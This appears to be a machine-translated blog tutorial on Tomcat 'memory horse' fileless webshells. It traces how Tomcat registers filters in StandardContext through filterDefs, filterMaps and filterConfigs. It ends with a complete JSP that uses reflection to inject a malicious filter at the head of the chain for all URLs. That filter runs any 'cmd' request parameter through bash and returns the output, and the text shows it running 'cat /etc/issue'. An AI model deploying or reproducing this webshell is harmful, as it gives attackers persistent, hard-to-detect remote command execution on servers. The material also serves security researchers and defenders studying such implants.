Tomcat memory Filter type

1, Tomcat processing request

As mentioned in the previous chapter, when tomcat processes a request, it first converts the request object into a ServletRequest through the connector Coyote, and then passes it to Catalina for processing.

There are four key containers in Catalina: Engine, Host, Context and Wrapper. The four kinds of containers are designed in a complete set of baby style layered structure.

Next, we know that when tomcat receives a request, it will go through listener - > filter - > servlet in turn

In fact, we can also dynamically add a Filter to form a memory horse, but first understand the logic of tomcat processing requests

As can be seen from the above figure, when the request reaches the Wrapper container, it will start calling filterchain, which is a filter chain composed of several filters. Finally, the Servlet will be reached. As long as our malicious filter is placed in the first position of the filterchain, the methods in the malicious filter can be triggered.

2, Filter registration process

To add a malicious filter in FilterChain, first understand the registration process of filter in tomcat

As can be seen from the above figure, the place where the Wrapper container calls FilterChain is in the StandardWrapperValve class

debugging

Register a filter:

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter initialization");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter filter");
        //Release
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter Destroy");

    }
}

Configure web.xml

 <filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>test.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

Drop the breakpoint at doFilter to access any url: http://127.0.0.1:8080/xxx

View call chain

You can see that in StandardWrapperValve#invoke, a filterChain of ApplicationFilterChain type is obtained through the createFilterChain method

Two filters of ApplicationFilterConfig type are stored in its filterChain, the first of which is TestFilter

Then ApplicationFilterChain#doFilter is called in line 196 below

Follow up the doFilter method and call internalDoFilter in the method.

After following up internalDoFilter, you can see that the first filter, Testfilter, is obtained from the filters array

Finally called filter.doFilter.

You can see that the filter is obtained from the filters array. See what the filters array is. Ctrl + left click

In fact, it is an object array of ApplicationFilterConfig type, and its value is obtained through the createFilterChain method mentioned above

Next, see how createFilterChain adds the TestFilter we wrote to the application filterconfig

Follow up the ApplicationFilterFactory#createFilterChain and see that a ServletRequest is obtained in line 64, and then the filterChain is obtained through ServletRequest#getFilterChain

Continue to look down and find filterMaps [] through the StandardContext object

Then, through the name in filterMaps, find the FilterConfig in the StandardContext object, and finally add the FilterConfig to the filterChain

Follow up filterChain.addFilter and see that it is added to the filters array ApplicationFilterConfig mentioned earlier. The operation here and in the previous step is to traverse the filter and put it into the ApplicationFilterConfig

Through debugging, it is found that there are two very important variables, filterMap and filterConfig

  • Name filterMaps

  • Filterconfigures take the filter

In fact, these two variables are stored in the StandardContext object, and one variable, filterDefs, is also an important variable

Analyze filterMaps, filterconfigures, filterDefs

1)filterMaps

Since these three variables are obtained from the StandardContext, you can find two methods to add filterMap by viewing the StandardContext

2)filterConfigs

In the StandardContext, also look for the place where the filterConfig value is added, and find a filterStart method

The addition here is completed when tomcat starts, so set a good breakpoint to start tomcat

TestFilter is stored in filterDefs

Traverse the filterDefs, and get the key as TestFilter, the value as FilterDef object, and the value as test.Testfilter

Next, an ApplicationFilterConfig is added and value is added

Then put nam=TestFilter and filterConfig into filterconfigures

3)filterDefs

The above filterDefs is the place where the filter is really put. Let's see where the filterDefs is added

There is also an addFilterDef method in the StandardContext

It is conceivable that tomcat is a filter read from web.xml, and then added to the filterMap and filterDef variables, which correspond to the following two variables

Memory horse

By controlling the values of filterMaps, filterconfig and filterDefs, we can inject malicious filters

  • filterMaps: a HashMap object that contains filter names and URL mappings

  • filterDefs: a HashMap object that maps filter names and filter instances

  • Filterconfigures variable: an ApplicationFilterConfig object containing filterDefs

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
     final String name = "KpLi0rn";
     ServletContext servletContext = request.getSession().getServletContext();

     Field appctx = servletContext.getClass().getDeclaredField("context");
     appctx.setAccessible(true);
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

     Field stdctx = applicationContext.getClass().getDeclaredField("context");
     stdctx.setAccessible(true);
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
     Configs.setAccessible(true);
     Map filterConfigs = (Map) Configs.get(standardContext);

     if (filterConfigs.get(name) == null){
          Filter filter = new Filter() {
               @Override
               public void init(FilterConfig filterConfig) throws ServletException {

               }

               @Override
               public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                         byte[] bytes = new byte[1024];
                         Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                         int len = process.getInputStream().read(bytes);
                         servletResponse.getWriter().write(new String(bytes,0,len));
                         process.destroy();
                         return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
               }

               @Override
               public void destroy() {

               }

          };


          FilterDef filterDef = new FilterDef();
          filterDef.setFilter(filter);
          filterDef.setFilterName(name);
          filterDef.setFilterClass(filter.getClass().getName());
          /**
           * Add filterDef to filterDefs
           */
          standardContext.addFilterDef(filterDef);

          FilterMap filterMap = new FilterMap();
          filterMap.addURLPattern("/*");
          filterMap.setFilterName(name);
          filterMap.setDispatcher(DispatcherType.REQUEST.name());

          standardContext.addFilterMapBefore(filterMap);

          Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
          constructor.setAccessible(true);
          ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

          filterConfigs.put(name,filterConfig);
          out.print("Inject Success !");
     }
%>

visit: http://127.0.0.1:8080/testF.jsp Display successful injection

Execute command: http://127.0.0.1:8080/?cmd=cat /etc/issue

3, Reference:

http://wjlshare.com/archives/1529#0x04_Filter

http://li9hu.top/tomcat Memory Ma Yi - a preliminary study/

https://www.cnblogs.com/nice0e3/p/14622879.html#0x03 -Memory horse implementation

Posted by msnhockey on Fri, 05 Nov 2021 22:29:34 -0700